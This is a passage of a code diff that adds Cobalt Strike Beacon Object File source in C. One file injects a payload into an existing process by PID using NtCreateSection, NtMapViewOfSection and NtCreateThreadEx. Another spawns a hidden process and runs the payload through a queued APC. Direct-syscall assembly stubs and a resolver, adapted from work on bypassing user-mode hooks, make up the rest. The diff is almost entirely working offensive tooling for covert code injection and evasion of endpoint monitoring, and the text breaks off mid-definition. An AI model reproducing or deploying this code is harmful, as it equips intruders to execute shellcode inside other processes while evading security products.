DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -0,0 +1,182 @@
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "syscalls.c"
|
||||
|
||||
|
||||
/* is this an x64 BOF */
|
||||
BOOL is_x64() {
|
||||
#if defined _M_X64
|
||||
return TRUE;
|
||||
#elif defined _M_IX86
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* is this a 64-bit or 32-bit process? */
|
||||
BOOL is_wow64(HANDLE process) {
|
||||
BOOL bIsWow64 = FALSE;
|
||||
|
||||
if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
|
||||
return FALSE;
|
||||
}
|
||||
return bIsWow64;
|
||||
}
|
||||
|
||||
/* check if a process is x64 or not */
|
||||
BOOL is_x64_process(HANDLE process) {
|
||||
if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
|
||||
return !is_wow64(process);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* See gox86 and gox64 entry points */
|
||||
void go(char * args, int alen, BOOL x86) {
|
||||
HANDLE hProcess;
|
||||
datap parser;
|
||||
int pid;
|
||||
int offset;
|
||||
char * dllPtr;
|
||||
int dllLen;
|
||||
|
||||
|
||||
/* Extract the arguments */
|
||||
BeaconDataParse(&parser, args, alen);
|
||||
pid = BeaconDataInt(&parser);
|
||||
offset = BeaconDataInt(&parser);
|
||||
dllPtr = BeaconDataExtract(&parser, &dllLen);
|
||||
|
||||
|
||||
//NtOpenProcess
|
||||
CLIENT_ID cid;
|
||||
cid.UniqueProcess = (HANDLE)pid;
|
||||
cid.UniqueThread = (HANDLE)0;
|
||||
|
||||
OBJECT_ATTRIBUTES oattr;
|
||||
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
|
||||
|
||||
NTSTATUS status = NtOpenProcess(
|
||||
&hProcess,
|
||||
PROCESS_ALL_ACCESS,
|
||||
&oattr,
|
||||
&cid);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtOpenProcess failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Check that we can inject the content into the process. */
|
||||
if (!is_x64_process(hProcess) && x86 == FALSE ) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
|
||||
return;
|
||||
}
|
||||
if (is_x64_process(hProcess) && x86 == TRUE) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Use NtCreateSection, NtMapViewOfSection and NtCreateThreadEx*/
|
||||
//NtCreateSection
|
||||
HANDLE shand;
|
||||
LARGE_INTEGER sc_size = { dllLen };
|
||||
|
||||
status = NtCreateSection(
|
||||
&shand,
|
||||
SECTION_ALL_ACCESS,
|
||||
&oattr,
|
||||
&sc_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
SEC_COMMIT,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
//NtMapViewOfSection to local process
|
||||
PVOID local_mem = NULL;
|
||||
SIZE_T vSize = 0;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
KERNEL32$GetCurrentProcess(),
|
||||
&local_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
mymemcopy(local_mem, dllPtr, dllLen);
|
||||
|
||||
//NtMapViewOfSection to the opened process
|
||||
PVOID remote_mem = NULL;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
hProcess,
|
||||
&remote_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_EXECUTE_READ
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
//Execute shellcode trough NtCreateThreadEx
|
||||
HANDLE thand;
|
||||
|
||||
status = NtCreateThreadEx(
|
||||
&thand,
|
||||
STANDARD_RIGHTS_ALL,
|
||||
NULL,
|
||||
hProcess,
|
||||
remote_mem,
|
||||
NULL,
|
||||
0, //false
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtCreateThreadEx failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
//Unmap the created section from the local process
|
||||
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/* Clean up */
|
||||
NtClose(hProcess);
|
||||
NtClose(thand);
|
||||
NtClose(shand);
|
||||
}
|
||||
|
||||
void gox86(char * args, int alen) {
|
||||
go(args, alen, TRUE);
|
||||
}
|
||||
|
||||
void gox64(char * args, int alen) {
|
||||
go(args, alen, FALSE);
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "syscalls.c"
|
||||
|
||||
/* is this an x64 BOF */
|
||||
BOOL is_x64() {
|
||||
#if defined _M_X64
|
||||
return TRUE;
|
||||
#elif defined _M_IX86
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/* See gox86 and gox64 entry points */
|
||||
void go(char * args, int alen, BOOL x86) {
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
datap parser;
|
||||
short ignoreToken;
|
||||
char * dllPtr;
|
||||
int dllLen;
|
||||
|
||||
/* Warn about crossing to another architecture. */
|
||||
if (!is_x64() && x86 == FALSE) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
|
||||
}
|
||||
if (is_x64() && x86 == TRUE) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
|
||||
}
|
||||
|
||||
/* Extract the arguments */
|
||||
BeaconDataParse(&parser, args, alen);
|
||||
ignoreToken = BeaconDataShort(&parser);
|
||||
dllPtr = BeaconDataExtract(&parser, &dllLen);
|
||||
|
||||
/* zero out these data structures */
|
||||
__stosb((void *)&si, 0, sizeof(STARTUPINFO));
|
||||
__stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
//attributes for section create
|
||||
OBJECT_ATTRIBUTES oattr;
|
||||
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
|
||||
|
||||
/* setup the other values in our startup info structure */
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
/* Ready to go: spawn, inject and cleanup */
|
||||
if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//NtCreateSection
|
||||
HANDLE shand;
|
||||
LARGE_INTEGER sc_size = { dllLen };
|
||||
|
||||
NTSTATUS status = NtCreateSection(
|
||||
&shand,
|
||||
SECTION_ALL_ACCESS,
|
||||
&oattr,
|
||||
&sc_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
SEC_COMMIT,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//NtMapViewOfSection to local process
|
||||
PVOID local_mem = NULL;
|
||||
SIZE_T vSize = 0;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
KERNEL32$GetCurrentProcess(),
|
||||
&local_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
mymemcopy(local_mem, dllPtr, dllLen);
|
||||
|
||||
//NtMapViewOfSection to the sacrifical process
|
||||
PVOID remote_mem = NULL;
|
||||
|
||||
status = NtMapViewOfSection(
|
||||
shand,
|
||||
pi.hProcess,
|
||||
&remote_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&vSize,
|
||||
2,
|
||||
NULL,
|
||||
PAGE_EXECUTE_READ
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//Queue APC on the main thread
|
||||
status = NtQueueApcThread(
|
||||
pi.hThread,
|
||||
(PIO_APC_ROUTINE)remote_mem,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtQueueApcThread failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
//Set the thread in alerted state so the APC can be executed
|
||||
status = NtAlertThread(pi.hThread);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtAlertThread failed with error code: 0x%X", status);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
return;
|
||||
}
|
||||
|
||||
status = NtResumeThread(pi.hThread, NULL);
|
||||
if (status != STATUS_SUCCESS)
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtResumeThread failed with error code: 0x%X", status);
|
||||
}
|
||||
|
||||
//Unmap the created section from the local process
|
||||
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
|
||||
return;
|
||||
}
|
||||
|
||||
//BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
|
||||
NtClose(shand);
|
||||
BeaconCleanupProcess(&pi);
|
||||
}
|
||||
|
||||
void gox86(char * args, int alen) {
|
||||
go(args, alen, TRUE);
|
||||
}
|
||||
|
||||
void gox64(char * args, int alen) {
|
||||
go(args, alen, FALSE);
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
#if _WIN64
|
||||
|
||||
|
||||
#define ZwCreateSection NtCreateSection
|
||||
|
||||
__asm__("NtCreateSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0B8929801 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwMapViewOfSection NtMapViewOfSection
|
||||
|
||||
__asm__("NtMapViewOfSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x03F91DEC2 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwQueueApcThread NtQueueApcThread
|
||||
|
||||
__asm__("NtQueueApcThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0100F15A6 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwAlertThread NtAlertThread
|
||||
|
||||
__asm__("NtAlertThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x06BB897D7 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwResumeThread NtResumeThread
|
||||
|
||||
__asm__("NtResumeThread: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0103F5A11 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwUnmapViewOfSection NtUnmapViewOfSection
|
||||
|
||||
__asm__("NtUnmapViewOfSection: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x01CCC2661 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwClose NtClose
|
||||
|
||||
__asm__("NtClose: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x0C5592A11 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwOpenProcess NtOpenProcess
|
||||
|
||||
__asm__("NtOpenProcess: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x04DD14C44 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#define ZwCreateThreadEx NtCreateThreadEx
|
||||
|
||||
__asm__("NtCreateThreadEx: \n\
|
||||
mov [rsp +8], rcx \n\
|
||||
mov [rsp+16], rdx \n\
|
||||
mov [rsp+24], r8 \n\
|
||||
mov [rsp+32], r9 \n\
|
||||
sub rsp, 0x28 \n\
|
||||
mov ecx, 0x004B8C602 \n\
|
||||
call SW2_GetSyscallNumber \n\
|
||||
add rsp, 0x28 \n\
|
||||
mov rcx, [rsp +8] \n\
|
||||
mov rdx, [rsp+16] \n\
|
||||
mov r8, [rsp+24] \n\
|
||||
mov r9, [rsp+32] \n\
|
||||
mov r10, rcx \n\
|
||||
syscall \n\
|
||||
ret \n\
|
||||
");
|
||||
|
||||
#endif
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
#include "syscalls.h"
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data")));
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW2_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONGSIZE)FunctionName + i++);
|
||||
Hash ^= PartialName + SW2_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
BOOL SW2_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW2_SyscallList.Count) return TRUE;
|
||||
|
||||
PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);
|
||||
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW2_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW2_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
|
||||
i++;
|
||||
if (i == SW2_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW2_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW2_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
if (!SW2_PopulateSyscallList())
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "SW2_PopulateSyscallList failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
BeaconPrintf(CALLBACK_ERROR,"syscall with hash 0x%lx not found\n", FunctionHash);
|
||||
|
||||
return -1;
|
||||
}
|
||||
+223
@@ -0,0 +1,223 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW2_HEADER_H_
|
||||
#define SW2_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
//#include "beacon.h"
|
||||
#include "syscalls-asm.h"
|
||||
|
||||
#ifdef _WIN64
|
||||
#define ULONGSIZE ULONG64
|
||||
#else
|
||||
#define ULONGSIZE ULONG32
|
||||
#endif
|
||||
|
||||
#ifdef _WIN64
|
||||
#define PEB_OFFSET 0x60
|
||||
#define READ_MEMLOC __readgsqword
|
||||
#else
|
||||
#define PEB_OFFSET 0x30
|
||||
#define READ_MEMLOC __readfsdword
|
||||
#endif
|
||||
|
||||
#define SW2_SEED 0x655E97F3
|
||||
|
||||
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
||||
#define SW2_MAX_ENTRIES 500
|
||||
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
||||
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW2_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW2_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW2_PEB_LDR_DATA Ldr;
|
||||
} SW2_PEB, *PSW2_PEB;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE
|
||||
{
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT, *PSECTION_INHERIT;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LIST
|
||||
{
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
|
||||
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
NTSTATUS Status;
|
||||
VOID* Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
|
||||
